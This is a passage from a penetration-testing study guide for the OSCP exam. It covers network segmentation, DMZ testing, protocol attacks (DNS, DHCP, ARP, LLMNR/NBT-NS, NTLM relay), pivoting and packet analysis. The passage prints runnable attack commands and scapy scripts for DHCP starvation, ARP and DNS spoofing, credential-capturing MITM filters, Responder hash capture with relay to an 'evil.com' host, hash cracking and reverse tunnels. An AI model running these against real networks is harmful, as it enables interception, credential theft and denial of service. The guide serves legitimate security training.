│  VLAN 10 (Compromised)                  │
│  ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐      │
│  │ PC1 │ │ PC2 │ │ PC3 │ │ PC4 │      │
│  └─────┘ └─────┘ └─────┘ └─────┘      │
│  Free lateral movement within VLAN      │
└─────────────────────────────────────────┘

Micro-Segmentation:
┌─────────────────────────────────────────┐
│  Same Subnet, Isolated Workloads        │
│  ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐      │
│  │ PC1 │ │ PC2 │ │ PC3 │ │ PC4 │      │
│  └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘      │
│     │       │       │       │          │
│     ▼       ▼       ▼       ▼          │
│  [Policy] [Policy] [Policy] [Policy]   │
│  PC1→PC2: DENY                         │
│  PC1→PC3: ALLOW (port 443 only)        │
│  PC1→PC4: DENY                         │
└─────────────────────────────────────────┘

3.4 DMZ Design and Testing

DMZ Architecture:

┌──────────────────────────────────────────────────────────────┐
│                      DMZ Architecture                        │
│                                                              │
│  ┌──────────┐    ┌──────────────┐    ┌──────────┐          │
│  │  Internet │   │  External    │    │   DMZ    │          │
│  │           │   │  Firewall    │    │          │          │
│  │           │◄──┤              │◄──►│ Web Server│         │
│  │  Clients  │   │  (Untrusted  │    │ Mail Server│        │
│  │           │   │   / DMZ)     │    │ DNS Server │        │
│  └──────────┘   └──────┬───────┘    └─────┬──────┘        │
│                        │                   │               │
│                        │                   │               │
│                        ▼                   ▼               │
│                 ┌──────────────┐    ┌──────────┐          │
│                 │  Internal    │    │ Internal │          │
│                 │  Firewall    │    │ Network  │          │
│                 │  (DMZ /     │    │          │          │
│                 │   Trusted)   │    │ Database │          │
│                 └──────┬───────┘    │  Server  │          │
│                        │            │  App Srv │          │
│                        ▼            └──────────┘          │
│                 ┌──────────┐                              │
│                 │ Internal │                              │
│                 │  Network │                              │
│                 └──────────┘                              │
└──────────────────────────────────────────────────────────────┘

Traffic Flow Rules:
• Internet → DMZ: Allow HTTP/HTTPS/DNS/SMTP only
• DMZ → Internal: Allow specific DB ports, app ports only
• Internal → DMZ: Allow management, monitoring
• Internet → Internal: DENY ALL (no direct access)

DMZ Testing Strategy:

# Phase 1: External DMZ Reconnaissance
nmap -sV -sC -O -p- 203.0.113.10        # Full port scan of DMZ host
nmap --script vuln 203.0.113.10          # Vulnerability scanning

# Phase 2: DMZ to Internal Network Testing
# From compromised DMZ host:
nmap -sU -sS -p- 192.168.1.0/24          # Scan internal network
nmap -sV --version-intensity 5 192.168.1.5  # Detailed service enum

# Phase 3: Firewall Rule Mapping
# Test what traffic is allowed from DMZ to internal
for port in 22 80 443 3306 3389 5432 8080 8443; do
    nmap -p $port --reason 192.168.1.5
done

# Phase 4: Internal Network Access
# If DMZ host has route to internal network
nmap -sn 192.168.1.0/24                  # Discover internal hosts

Common DMZ Misconfigurations:

Misconfiguration Risk Detection Method
Direct Internet to Internal routing Complete network compromise Port scan from external
Overly permissive DMZ to Internal rules Lateral movement from DMZ Port scan from DMZ host
Shared credentials between DMZ and Internal Credential reuse attacks Credential dumping on DMZ
Unpatched DMZ services Initial foothold Vulnerability scanning
Weak DMZ host hardening Privilege escalation Local privilege escalation checks

4. Protocol Security and Attacks

Understanding network protocols is fundamental to penetration testing. Many attacks exploit protocol design flaws or implementation weaknesses.

4.1 TCP/IP Fundamentals for Pentesting

TCP Three-Way Handshake:

Client                              Server
  │                                   │
  │ ──────── SYN ───────────────────► │   Seq=100, Ack=0
  │   [ISN: Initial Sequence Number]  │
  │                                   │
  │ ◄──── SYN + ACK ─────────────────│   Seq=1000, Ack=101
  │                                   │
  │ ──────── ACK ───────────────────► │   Seq=101, Ack=1001
  │                                   │
  │          Connection Established   │
  │                                   │

TCP Flags and Their Meaning:

Flag Value Purpose Pentesting Relevance
FIN 0x01 Finish connection FIN scan (nmap -sF)
SYN 0x02 Synchronize (start connection) SYN scan (nmap -sS)
RST 0x04 Reset connection Detect open/closed ports
PSH 0x08 Push data XMAS scan component
ACK 0x10 Acknowledgment ACK scan (nmap -sA)
URG 0x20 Urgent data XMAS scan component

TCP Scan Types:

# Connect scan (full 3-way handshake) - most reliable, most detectable
nmap -sT <target>

# SYN scan (half-open) - faster, less detectable
nmap -sS <target>

# FIN scan - may bypass stateless firewalls
nmap -sF <target>

# NULL scan - no flags set, may bypass filters
nmap -sN <target>

# XMAS scan - FIN+PSH+URG set
nmap -sX <target>

# ACK scan - map firewall rules
nmap -sA <target>

# Window scan - uses TCP window size for detection
nmap -sW <target>

# TCP MCP scan - uses malformed packets
nmap -sM <target>

UDP Fundamentals:

UDP Characteristics:
• Connectionless - no handshake
• No guaranteed delivery
• No ordering
• No flow control
• Lower overhead than TCP
• Faster but less reliable

UDP Scan Challenges:
• No handshake to confirm open port
• Open port: no response (silent)
• Closed port: ICMP Port Unreachable
• Filtered: no response (same as open!)

UDP Scan Commands:
nmap -sU <target>                    # Basic UDP scan
nmap -sU --top-ports 100 <target>    # Top 100 UDP ports
nmap -sU -p 53,67,68,69,123,161 <target>  # Common UDP services

4.2 DNS Security and Attacks

DNS Protocol Basics:

DNS Query/Response Flow:

Client                    Recursive DNS              Authoritative DNS
 │                           Server                      Server
 │ ──── Query: example.com ──►                           │
 │                           │                           │
 │                           │ ─── Query: example.com ──►│
 │                           │                           │
 │                           │ ◄── Response: 93.184.216.34
 │                           │                           │
 │ ◄── Response: 93.184.216.34                           │
 │                           │                           │

DNS Record Types:
┌──────────┬──────────────────────────────────────────┐
│ Type     │ Description                              │
├──────────┼──────────────────────────────────────────┤
│ A        │ IPv4 address                             │
│ AAAA     │ IPv6 address                             │
│ CNAME    │ Canonical name (alias)                   │
│ MX       │ Mail exchange server                     │
│ NS       │ Name server                              │
│ TXT      │ Text records (SPF, DKIM, etc.)           │
│ SRV      │ Service location                         │
│ PTR      │ Reverse DNS (IP → hostname)              │
│ SOA      │ Start of authority                       │
└──────────┴──────────────────────────────────────────┘

DNS Zone Transfer Attack:

# Identify name servers
nslookup -type=NS example.com

# Attempt zone transfer
dig AXFR example.com @ns1.example.com
dig AXFR example.com @ns2.example.com

# Using host command
host -l example.com ns1.example.com

# Using nslookup
nslookup
> server ns1.example.com
> ls -f zone_dump.txt example.com

# What you might discover:
# • All internal hostnames
# • Internal IP addresses
# • Network topology
# • Service names
# • Backup server names
# • Development/test environments

DNS Poisoning (Cache Poisoning):

Attack Flow:

Attacker                    Victim DNS Server           Legitimate DNS
  │                            │                          │
  │                            │ ── Query: evil.com ────►│
  │                            │                          │
  │ ── Fake Response ─────────►│                          │
  │  (evil.com → attacker IP) │                          │
  │  (faster than legit)       │                          │
  │                            │                          │
  │                            │  Cache poisoned!         │
  │                            │  evil.com → attacker IP  │
  │                            │                          │
  │ ◄── Victim queries        │                          │
  │     evil.com ─────────────│                          │
  │     (goes to attacker!)   │                          │

Mitigation:
• DNSSEC (DNS Security Extensions)
• Randomize source ports and query IDs
• Rate limiting on DNS responses
• Use DNS over HTTPS (DoH) or DNS over TLS (DoT)

DNS Rebinding:

// DNS Rebinding Attack Concept:
// 1. Attacker controls DNS for evil.com
// 2. Initial response: attacker's public IP
// 3. Browser loads script from attacker's server
// 4. DNS changes to internal IP (192.168.1.1)
// 5. Script now accesses internal resources via browser

// Detection:
// • Check for DNS rebinding in WAF rules
// • Validate Host header against known domains
// • Use reverse DNS validation

4.3 DHCP Attacks

DHCP Protocol Flow (DORA):

Client                          DHCP Server
  │                                   │
  │ ──── DHCP Discover ─────────────►│   (Broadcast, no IP yet)
  │   MAC: aa:bb:cc:dd:ee:ff          │
  │                                   │
  │ ◄─── DHCP Offer ─────────────────│   (Broadcast)
  │   Offered IP: 192.168.1.100      │
  │   Subnet: 255.255.255.0          │
  │   Gateway: 192.168.1.1           │
  │   DNS: 192.168.1.1               │
  │   Lease: 24 hours                │
  │                                   │
  │ ──── DHCP Request ─────────────►│   (Broadcast)
  │   Requested IP: 192.168.1.100    │
  │                                   │
  │ ◄─── DHCP Ack ───────────────────│   (Broadcast)
  │   IP confirmed: 192.168.1.100    │
  │                                   │

Rogue DHCP Server Attack:

# Using yersinia to create rogue DHCP server
yersinia -i eth0

# Using dhcpd with malicious configuration
# /etc/dhcp/dhcpd.conf:
# subnet 192.168.1.0 netmask 255.255.255.0 {
#     range 192.168.1.100 192.168.1.200;
#     option routers 192.168.1.66;        # Attacker's IP as gateway
#     option domain-name-servers 192.168.1.66;  # Attacker's IP as DNS
# }

sudo dhcpd -cf /etc/dhcp/dhcpd.conf -lf /var/lib/dhcp/dhcpd.leases eth0

# Impact:
# • Victims get attacker's IP as default gateway → MITM
# • Victims get attacker's IP as DNS → DNS spoofing
# • All victim traffic flows through attacker

DHCP Starvation Attack:

# Using yersinia for DHCP starvation
yersinia -z <target_network> -i eth0

# Using scapy to exhaust DHCP pool
python3 -c "
from scapy.all import *
import random

def random_mac():
    return ':'.join(['%02x' % random.randint(0, 255) for _ in range(6)])

for i in range(254):
    dhcp_discover = Ether(src=random_mac(), dst='ff:ff:ff:ff:ff:ff')/ \
        IP(src='0.0.0.0', dst='255.255.255.255')/ \
        UDP(sport=68, dport=67)/ \
        BOOTP(op=1, chaddr=random_mac().replace(':',''))/ \
        DHCP(options=[('message-type','discover'),('end')])
    sendp(dhcp_discover, iface='eth0')
    print(f'Sent discover {i+1}/254')

# Impact:
# • Legitimate clients cannot obtain IP addresses
# • Denial of service to network
# • Often combined with rogue DHCP for full MITM
"

4.4 ARP Attacks

ARP Protocol Basics:

ARP Request/Response:

Host A (192.168.1.10)              Host B (192.168.1.20)
  │                                     │
  │ ── ARP Request (Broadcast) ───────►│
  │   "Who has 192.168.1.20?"          │
  │   "Tell 192.168.1.10"              │
  │                                     │
  │ ◄── ARP Response (Unicast) ────────│
  │   "192.168.1.20 is at aa:bb:cc:dd:ee:ff"
  │                                     │

ARP Cache Entry:
┌──────────────────┬──────────────────┐
│ IP Address       │ MAC Address      │
├──────────────────┼──────────────────┤
│ 192.168.1.1      │ 00:11:22:33:44:55│  (Gateway)
│ 192.168.1.20     │ aa:bb:cc:dd:ee:ff│  (Host B)
│ 192.168.1.100    │ 11:22:33:44:55:66│  (Server)
└──────────────────┴──────────────────┘

ARP Poisoning (ARP Spoofing):

Normal Traffic Flow:
┌──────────┐    ┌──────────┐    ┌──────────┐
│  Client  │────│ Gateway  │────│ Internet │
│192.168.1.10│  │192.168.1.1│    │          │
└──────────┘    └──────────┘    └──────────┘

After ARP Poisoning:
┌──────────┐    ┌──────────┐    ┌──────────┐
│  Client  │────│ Attacker │────│ Gateway  │
│192.168.1.10│  │192.168.1.66│  │192.168.1.1│
└──────────┘    └──────────┘    └──────────┘

Attacker sends:
1. ARP Response to Client: "Gateway (192.168.1.1) is at [attacker MAC]"
2. ARP Response to Gateway: "Client (192.168.1.10) is at [attacker MAC]"

Result: All traffic between Client and Gateway flows through Attacker

ARP Poisoning with Ettercap:

# Basic ARP poisoning (MITM between client and gateway)
ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ //192.168.1.1/

# Flags:
# -T: Text-only mode
# -q: Quiet mode
# -i: Interface
# -M: MITM attack mode
# arp:remote: Don't display warning on victim screens
# /192.168.1.10/: Target 1 (victim)
# //192.168.1.1/: Target 2 (gateway)

# Enable IP forwarding on attacker (to maintain connectivity)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Using ettercap with plugins
ettercap -T -q -i eth0 -P autoadd -M arp:remote /192.168.1.10/ //192.168.1.1/

# Using arpspoof (from dsniff suite)
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1    # Poison client
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10    # Poison gateway

# Using scapy for ARP poisoning
python3 -c "
from scapy.all import *
import time

target_ip = '192.168.1.10'
gateway_ip = '192.168.1.1'
attacker_mac = getmacbyip(gateway_ip)

while True:
    # Poison target: gateway is at attacker's MAC
    poison_target = ARP(op=2, pdst=target_ip, hdst='ff:ff:ff:ff:ff:ff',
                        psrc=gateway_ip, hwsrc='attacker_mac_here')
    send(poison_target)
    
    # Poison gateway: target is at attacker's MAC
    poison_gw = ARP(op=2, pdst=gateway_ip, hdst='ff:ff:ff:ff:ff:ff',
                    psrc=target_ip, hwsrc='attacker_mac_here')
    send(poison_gw)
    
    time.sleep(2)
"

ARP Cache Poisoning Detection:

# Monitor ARP table for changes
watch -n 1 'arp -a'

# Check for duplicate IP/MAC mappings
arp -a | sort | uniq -d

# Use ARP watch tools
arpwatch -i eth0

# Check for ARP anomalies with Wireshark
# Filter: arp
# Look for: Gratuitous ARP, ARP responses without requests

4.5 LLMNR/NBT-NS Poisoning

LLMNR (Link-Local Multicast Name Resolution):

LLMNR Protocol:
• UDP port 5355
• Multicast address: 224.0.0.177 (IPv4)
• Used when DNS resolution fails
• Any host on the local network can respond

Attack Flow:

Victim                    Attacker (Responder)
  │                           │
  │ ── LLMNR Query ─────────►│   "Who has fileserver.local?"
  │   (multicast)             │
  │                           │
  │ ◄── LLMNR Response ──────│   "fileserver.local is me!"
  │   (unicast)               │
  │                           │
  │ ── SMB/NBT Session ─────►│   (with NTLMv2 hash)
  │                           │
  │                           │  Captured NTLMv2 hash!
  │                           │  $NTLM$username:domain:challenge:response

NBT-NS (NetBIOS Name Service):
• UDP port 137
• Similar to LLMNR but older
• Multicast address: 255.255.255.255
• Same poisoning attack applies

Responder Attack:

# Basic Responder usage
Responder -I eth0 -wA -rdPfb

# Flags:
# -I: Interface to listen on
# -w: Enable WPAD attack
# -A: Answer to all LLMNR/NBT-NS queries
# -r: Enable RPC attack
# -d: Enable DNS spoofing
# -P: Enable MS-14-068 mitigation bypass
# -f: Force NetNTLMv1 response
# -b: Always respond, even if DHCP/DNS server detected

# Responder with custom listening ports
Responder -I eth0 -wA -rtfp

# Capture hashes only (no WPAD)
Responder -I eth0 -A -rdPfb

# What Responder captures:
# ┌─────────────────────────────────────────────────────────┐
# │  Hash Format:                                           │
# │  $NTLM$username:domain:challenge:response:lm:ntlm       │
# │                                                         │
# │  Example:                                               │
# │  $NTLM$jdoe:CORP:8f4a2b1c3d5e6f7a:                      │
# │    a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:                    │
# │    00000000000000000000000000000000:                    │
# │    8a7b6c5d4e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0│
# └─────────────────────────────────────────────────────────┘

# Crack captured hashes
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt    # NTLMv2
hashcat -m 5500 ntlm_hashes.txt rockyou.txt       # NTLMv1

NTLM Relay Attack:

# Using Responder to trigger NTLM authentication
# Then relay to another service

# Step 1: Start Responder to capture authentication
Responder -I eth0 -wA -rdPfb

# Step 2: Use ntlmrelayx to relay authentication
ntlmrelayx.py -t smb://192.168.1.50 -smb2support

# Step 3: The relayed authentication gives access to target

# Using Impacket for relay
python3 ntlmrelayx.py -tf targets.txt -smb2support -wh evil.com

# Targets file (targets.txt):
# smb://192.168.1.50
# http://192.168.1.51
# ldap://192.168.1.52

Mitigating LLMNR/NBT-NS Poisoning:

Control Implementation
Disable LLMNR Group Policy: Computer Config → Policies → Admin Templates → Network → DNS Client → Enable LLMNR = Disabled
Disable NBT-NS Registry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\NoNameReleaseOnDemand = 1
Network segmentation Limit multicast broadcast domains
802.1X authentication Prevent unauthorized devices on network
Monitor for Responder Detect unusual LLMNR/NBT-NS responses

5. OSCP Exam Relevance

5.1 Network Scanning Techniques

Nmap Deep Dive:

# ═══════════════════════════════════════════════════════════
# OSCP Network Scanning Strategy
# ═══════════════════════════════════════════════════════════

# Phase 1: Host Discovery
# ───────────────────────
# Quick ping sweep to find live hosts
nmap -sn 10.10.10.0/24

# ARP scan (more reliable on local network)
nmap -PR 10.10.10.0/24

# Ping scan with multiple techniques
nmap -PS22,80,443 -PU53,161 -PY -PE -PP 10.10.10.0/24

# Phase 2: Port Scanning
# ──────────────────────
# Quick top ports scan
nmap -sS -T4 --top-ports 100 10.10.10.10

# Standard scan (top 1000 ports)
nmap -sS -T4 -p- 10.10.10.10          # ALL ports (slow but thorough)
nmap -sS -T4 --top-ports 1000 10.10.10.10

# TCP SYN scan (stealth, fast)
nmap -sS -T4 10.10.10.10

# TCP Connect scan (when SYN scan is blocked)
nmap -sT -T4 10.10.10.10

# UDP scan (common services)
nmap -sU --top-ports 100 10.10.10.10

# Phase 3: Service Detection
# ──────────────────────────
# Version detection
nmap -sV -p 22,80,443,3306,8080 10.10.10.10

# Intensive version detection
nmap -sV --version-intensity 5 -p 22,80,443 10.10.10.10

# Phase 4: OS Detection
# ─────────────────────
# OS detection
nmap -O -sS 10.10.10.10

# Aggressive OS detection
nmap -A -sS 10.10.10.10

# Phase 5: Script Scanning
# ────────────────────────
# Default scripts
nmap -sC -p 22,80,443 10.10.10.10

# Specific script categories
nmap --script=vuln -p 80 10.10.10.10
nmap --script=exploit -p 80 10.10.10.10
nmap --script=discovery -p 80 10.10.10.10

# Specific scripts
nmap --script=http-enum -p 80 10.10.10.10
nmap --script=smb-enum-shares -p 445 10.10.10.10
nmap --script=ssl-enum-ciphers -p 443 10.10.10.10

# Phase 6: Comprehensive Scan
# ───────────────────────────
# Full reconnaissance scan
nmap -sS -sV -sC -O -A -p- -T4 -oN full_scan.txt 10.10.10.10

# Save in multiple formats
nmap -sS -sV -sC -O -p- -T4 \
    -oN scan_normal.txt \
    -oX scan_xml.xml \
    -oG scan_grepable.txt \
    -oA scan_all \
    10.10.10.10

Masscan for Fast Scanning:

# Masscan - fastest port scanner (uses async I/O)

# Scan all ports on a single host
masscan -p1-65535 10.10.10.10 --rate=1000

# Scan entire subnet for common ports
masscan -p80,443,22,3389,445 10.10.10.0/24 --rate=10000

# Scan with output file
masscan -p1-65535 10.10.10.10 --rate=1000 -oL masscan_results.txt

# Pipe masscan results to nmap for detailed scanning
masscan -p1-65535 10.10.10.10 --rate=1000 -oL ports.txt
cat ports.txt | grep "/open" | awk '{print $4}' | cut -d'/' -f1 | sort -un > open_ports.txt
nmap -sV -sC -p$(cat open_ports.txt | tr '\n' ',' | sed 's/,$//') 10.10.10.10

5.2 Service Enumeration

Common Services and Enumeration Commands:

# ═══════════════════════════════════════════════════════════
# Service Enumeration Cheat Sheet
# ═══════════════════════════════════════════════════════════

# SSH (Port 22)
nmap --script=ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -p 22 10.10.10.10
ssh -v user@10.10.10.10                    # Verbose connection attempt

# HTTP/HTTPS (Ports 80, 443, 8080, 8443)
nmap --script=http-enum,http-title,http-methods -p 80 10.10.10.10
nikto -h http://10.10.10.10
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/wordlists/dirb/common.txt

# SMB (Ports 139, 445)
nmap --script=smb-enum-shares,smb-enum-users,smb-os-discovery -p 139,445 10.10.10.10
enum4linux -a 10.10.10.10
smbclient -L \\\\10.10.10.10\\ -N
smbclient \\\\10.10.10.10\\share -N

# DNS (Port 53)
nmap --script=dns-zone-transfer,dns-srv,dns-text -p 53 10.10.10.10
dig AXFR @10.10.10.10 example.com
dig ANY @10.10.10.10

# FTP (Port 21)
nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor -p 21 10.10.10.10
ftp 10.10.10.10

# MySQL (Port 3306)
nmap --script=mysql-info,mysql-enum,mysql-empty-password -p 3306 10.10.10.10
mysql -h 10.10.10.10 -u root -p

# PostgreSQL (Port 5432)
nmap --script=postgres-versions,postgres-tables -p 5432 10.10.10.10
psql -h 10.10.10.10 -U postgres

# LDAP (Port 389, 636)
nmap --script=ldap-search,ldap-rootdse -p 389 10.10.10.10
ldapsearch -x -h 10.10.10.10 -b "dc=example,dc=com"

# RDP (Port 3389)
nmap --script=rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 10.10.10.10
xfreerdp /v:10.10.10.10 /u:user /p:password

# WinRM (Port 5985, 5986)
nmap --script=ms-wmi-enum,ms-wmi-exec -p 5985 10.10.10.10
evil-winrm -i 10.10.10.10 -u user -p password

5.3 Network Pivoting and Tunneling

SSH Tunneling:

# ═══════════════════════════════════════════════════════════
# SSH Tunneling Techniques
# ═══════════════════════════════════════════════════════════

# Local Port Forwarding
# Access internal service from attacker machine
ssh -L 8080:internal.target:80 user@jumpbox
# Now access http://localhost:8080 to reach internal.target:80

# Remote Port Forwarding
# Expose attacker service to internal network
ssh -R 4444:localhost:4444 user@jumpbox
# Now internal hosts can connect to jumpbox:4444 → attacker:4444

# Dynamic Port Forwarding (SOCKS Proxy)
ssh -D 1080 user@jumpbox
# Configure proxychains to use localhost:1080

# ProxyChains Configuration (/etc/proxychains4.conf):
# [ProxyList]
# socks5  127.0.0.1 1080

# Usage:
proxychains nmap -sT -p 80,443,3389 internal.target
proxychains wfuzz -u http://internal.target/FUZZ -w wordlist.txt

Chisel Tunneling:

# Server side (on compromised host)
chisel server -p 8000 --reverse

# Client side (attacker machine)
chisel client attacker_ip:8000 R:socks

# Or forward specific ports
chisel client attacker_ip:8000 R:8080:internal.target:80

SSH Multi-Hop Pivoting:

# Chain SSH tunnels through multiple hosts
ssh -J user@jumpbox1,user@jumpbox2 user@final_target

# Or use ProxyJump in ssh_config
# Host final_target
#     ProxyJump user@jumpbox1,user@jumpbox2

Metasploit Pivoting:

# Add route through compromised host
route add 10.10.20.0 24 <session_id>

# List routes
route

# Scan through pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.20.0/24
set SESSION <session_id>
run

5.4 Common Network Services in OSCP

Service Port Common Exploits Enumeration Tools
SSH 22 Weak credentials, old versions, key reuse nmap, hydra, ssh-audit
HTTP/HTTPS 80/443 Web vulns, misconfigurations nikto, gobuster, Burp Suite
SMB 445 EternalBlue, weak shares, null sessions enum4linux, smbclient, nmap
FTP 21 Anonymous access, weak creds ftp, hydra, nmap
MySQL 3306 Weak creds, default accounts mysql client, nmap
PostgreSQL 5432 Weak creds, default accounts psql, nmap
LDAP 389 Anonymous bind, injection ldapsearch, nmap
RDP 3389 BlueKeep, weak creds xfreerdp, nmap
WinRM 5985/5986 Weak creds, Kerberoasting evil-winrm, crackmapexec
DNS 53 Zone transfer, cache poisoning dig, nslookup, nmap
SNMP 161 Default community strings snmpwalk, onesixtyone
VNC 5900 No auth, weak passwords vncviewer, nmap

6. Practical Examples

6.1 Nmap Command Examples

Stealth Scans:

# SYN stealth scan (default, most common)
nmap -sS -T4 10.10.10.10

# FIN scan (may bypass simple firewalls)
nmap -sF -T2 10.10.10.10

# NULL scan (no flags)
nmap -sN -T2 10.10.10.10

# XMAS scan (FIN+PSH+URG)
nmap -sX -T2 10.10.10.10

# Using decoys to hide source IP
nmap -D RND:5 -sS 10.10.10.10

# Fragment packets to evade IDS
nmap -f -sS 10.10.10.10

# MTU fragmentation
nmap -f -f -sS 10.10.10.10    # Double fragmentation

Script Scanning:

# Default script scan
nmap -sC -p 80 10.10.10.10

# Vulnerability scripts
nmap --script=vuln -p 80,443 10.10.10.10

# Exploitation scripts (use with caution)
nmap --script=exploit -p 80 10.10.10.10

# Specific useful scripts
nmap --script=http-enum,http-title,http-methods -p 80 10.10.10.10
nmap --script=smb-enum-shares,smb-enum-users -p 445 10.10.10.10
nmap --script=ssl-heartbleed -p 443 10.10.10.10
nmap --script=ftp-anon -p 21 10.10.10.10

# Script with arguments
nmap --script=http-enum --script-args http-enum.root="/admin" -p 80 10.10.10.10

OS Detection:

# Basic OS detection
nmap -O 10.10.10.10

# Aggressive OS detection
nmap -A 10.10.10.10

# OS detection with timing
nmap -O --osscan-guess -T4 10.10.10.10

6.2 Wireshark Packet Analysis

Common Display Filters:

# Protocol filters
tcp
udp
icmp
http
dns
smb
arp

# IP filters
ip.addr == 192.168.1.10
ip.src == 192.168.1.10
ip.dst == 192.168.1.1
ip.addr == 192.168.1.0/24

# Port filters
tcp.port == 80
tcp.dstport == 443
tcp.port == 22 or tcp.port == 443

# TCP flags
tcp.flags.syn == 1 and tcp.flags.ack == 0    # SYN packets
tcp.flags.fin == 1                            # FIN packets
tcp.flags.reset == 1                          # RST packets

# HTTP filters
http.request
http.response
http.request.method == "GET"
http.request.method == "POST"

# DNS filters
dns
dns.qry.name contains "example.com"
dns.flags.response == 1

# SMB filters
smb
smb.cmd == 0x25                                # NT Create AndX
smb.cmd == 0x02                                # Create Directory

# Finding interesting traffic
tcp.analysis.retransmission                   # Retransmissions
tcp.analysis.outoforder                       # Out of order packets
tcp.analysis.duplicate_ack                    # Duplicate ACKs

Capturing and Analyzing:

# Capture traffic with tcpdump
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 host 192.168.1.10 -w capture.pcap
tcpdump -i eth0 port 80 -w http_capture.pcap
tcpdump -i eth0 tcp port 445 -w smb_capture.pcap

# Capture with specific conditions
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' -w syn_packets.pcap
tcpdump -i eth0 'udp port 53' -w dns_capture.pcap

# Analyze with tshark (command-line Wireshark)
tshark -r capture.pcap -Y "http.request"
tshark -r capture.pcap -Y "dns.qry.name contains 'example.com'"
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport

6.3 Responder Attack Examples

Basic LLMNR/NBT-NS Poisoning:

# Start Responder
Responder -I eth0 -wA -rdPfb

# Expected output:
# [_] Responder Starting.
# [*] LLmNR responder  Threads Running.
# [*] NBT-NS responder Threads Running.
# [*] MDNS responder   Threads Running.
#
# When a victim queries for a non-existent hostname:
# [NBT-NS] Sending response(s) to: 192.168.1.100
# [NBT-NS] Request NTLMv2 SSPI Hash for:
# [Username]    : jdoe
# [Hostname]    : WORKSTATION01
# [IP]          : 192.168.1.100
# [Challenge]   : 8f4a2b1c3d5e6f7a
# [Response]    : a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6...
#
# Hash saved to: /usr/share/responder/loot/NTLMv2-SSP-HASHES.txt

Cracking Captured Hashes:

# View captured hashes
cat /usr/share/responder/loot/NTLMv2-SSP-HASHES.txt

# Crack with hashcat (NTLMv2)
hashcat -m 5600 /usr/share/responder/loot/NTLMv2-SSP-HASHES.txt /usr/share/wordlists/rockyou.txt

# Crack with hashcat (NTLMv1)
hashcat -m 5500 /usr/share/responder/loot/NTLMv1-SSP-HASHES.txt /usr/share/wordlists/rockyou.txt

# Crack with John the Ripper
john --format=netntlmv2 /usr/share/responder/loot/NTLMv2-SSP-HASHES.txt --wordlist=/usr/share/wordlists/rockyou.txt

WPAD Attack:

# Responder WPAD attack
Responder -I eth0 -w

# The WPAD attack:
# 1. Responder hosts a fake WPAD.dat file
# 2. When victims request WPAD.dat, they authenticate
# 3. NTLMv2 hash is captured
#
# WPAD.dat content served by Responder:
# function FindProxyForURL(url, host) {
#     return "PROXY attacker_ip:8080";
# }

6.4 ARP Poisoning with Ettercap

Setting Up MITM:

# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 2: Start ettercap in unified MITM mode
ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ //192.168.1.1/

# Step 3: Capture credentials with URL-forge plugin
# In ettercap text interface:
# Plugins → Plugin Manager → Load url_forge

# Step 4: Filter HTTP credentials
# Create filter file (cred_filter.ec):
# if (ip.proto == TCP && tcp.dst == 80) {
#     if (search(DATA.data, "Accept-Encoding")) {
#         replace("Accept-Encoding", "Accept-Nothing");
#         msg("Stripped Accept-Encoding!\n");
#     }
# }
# if (ip.proto == TCP && tcp.src == 80) {
#     if (search(DATA.data, "username=")) {
#         msg("Username captured!\n");
#     }
#     if (search(DATA.data, "password=")) {
#         msg("Password captured!\n");
#     }
# }

# Compile and load filter
etterfilter cred_filter.ec -o cred_filter
ettercap -T -q -i eth0 -M arp:remote -F cred_filter /192.168.1.10/ //192.168.1.1/

Using BetterCAP for MITM:

# Start BetterCAP
bettercap -iface eth0

# In BetterCAP console:
# Discover network
net.probe on

# List discovered hosts
net.show

# Start ARP spoofing
arp.spoof on
arp.spoof.targets 192.168.1.10,192.168.1.1

# Capture HTTP credentials
http.proxy on
http.proxy.strip.accept.encoding on

# Capture HTTPS (with MITM certificate)
mitm.proxy on
mitm.proxy.ssl on

# DNS spoofing
dns.spoof on
dns.spoof.domains example.com,evil.com
dns.spoof.ip 192.168.1.66

7. Lab Exercises

Lab 1: Network Scanning Lab

Objective: Perform comprehensive network reconnaissance on a target network.

Prerequisites:

  • Kali Linux or similar penetration testing distribution
  • Access to a lab environment (e.g., HTB, OSCP lab)
  • nmap, masscan installed

Steps:

# Step 1: Host Discovery
# Perform a ping sweep of the target subnet
nmap -sn 10.10.10.0/24 -oN host_discovery.txt

# Step 2: Quick Port Scan
# Scan top 100 ports on discovered hosts
for host in $(cat host_discovery.txt | grep "Nmap scan report" | awk '{print $5}'); do
    nmap -sS -T4 --top-ports 100 -oN quick_scan_${host}.txt $host
done

# Step 3: Full Port Scan
# Scan all ports on interesting hosts
nmap -sS -T4 -p- -oN full_scan_10.10.10.10.txt 10.10.10.10

# Step 4: Service Detection
# Identify services on open ports
nmap -sV -sC -p 22,80,443,3306,8080 -oN service_scan_10.10.10.10.txt 10.10.10.10

# Step 5: OS Detection
nmap -O -A -oN os_detect_10.10.10.10.txt 10.10.10.10

# Step 6: Script Scanning
nmap --script=vuln,discovery -p 80,443 -oN script_scan_10.10.10.10.txt 10.10.10.10

# Deliverables:
# • Document all discovered hosts
# • List all open ports and services
# • Identify potential attack vectors
# • Create a network map

Lab 2: Packet Analysis Lab

Objective: Analyze network traffic to identify security issues and extract sensitive information.

Prerequisites:

  • Wireshark installed
  • Sample pcap files or live capture capability
  • Understanding of TCP/IP protocols

